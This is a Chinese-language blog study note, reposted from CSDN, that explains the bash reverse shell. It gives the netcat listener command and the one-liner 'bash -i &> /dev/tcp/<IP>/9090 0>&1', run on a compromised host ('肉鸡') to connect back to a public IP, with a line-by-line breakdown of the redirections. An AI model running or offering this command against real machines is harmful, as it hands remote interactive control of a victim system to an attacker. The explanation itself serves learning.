bash shell——bash -i >& /dev/tcp/192.168.174.128/9090 0>&1

  • A+
所属分类:Linux 学习笔记

转载: https://blog.csdn.net/include_heqile/article/details/85011135

bash反弹:首先公网主机监听指定端口,然后肉鸡执行bash命令向公网指定端口发送连接请求

公网主机:
nc -lvvp 9090
肉鸡执行:
bash -i &> /dev/tcp/144.34.164.217/9090 0>&1
其中144.34.164.217为自己的公网主机
对命令的解释:

bash -i意为创建一个交互式的bash shell
&>意为将标准输出和标准错误都重定向到我们指定的文件中
实验如下:

x@DESKTOP-GR9LS16:~$ cat 1
cat: 1: No such file or directory
x@DESKTOP-GR9LS16:~$ cat 2
cat: 2: No such file or directory
x@DESKTOP-GR9LS16:~$ cat 1 > 2
cat: 1: No such file or directory
x@DESKTOP-GR9LS16:~$ cat 1 &> 2
x@DESKTOP-GR9LS16:~$ cat 2
cat: 1: No such file or directory

x@DESKTOP-GR9LS16:~$ cat 1
I get some words here!!
x@DESKTOP-GR9LS16:~$ cat 2
cat: 2: No such file or directory
x@DESKTOP-GR9LS16:~$ cat 1 &> 2
x@DESKTOP-GR9LS16:~$ cat 2
I get some words here!!
可以看到标准错误和标准输出都被重定向到了文件2中

至于后面的/dev/tcp/144.34.164.217/9090,这是一个特殊文件,它会建立一个连接到到144.34.164.217:9090的socket

最后一个0>&1,意为将文件描述符0重定向到文件描述符1,也就是标准输入被重定向到了标准输出

我们来分析一下,首先&>使得标准输出重定向到了我们的TCP连接上,然后0>&1使得标准输入又重定向到了标准输出中,最终的结果就是标准输入也被重定向到了TCP连接中,因此输入和输出都可以在公网主机上进行,通过TCP连接和bash进行交互。

参考博主服务器公网IP可用,仅此记录学习。

zore

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: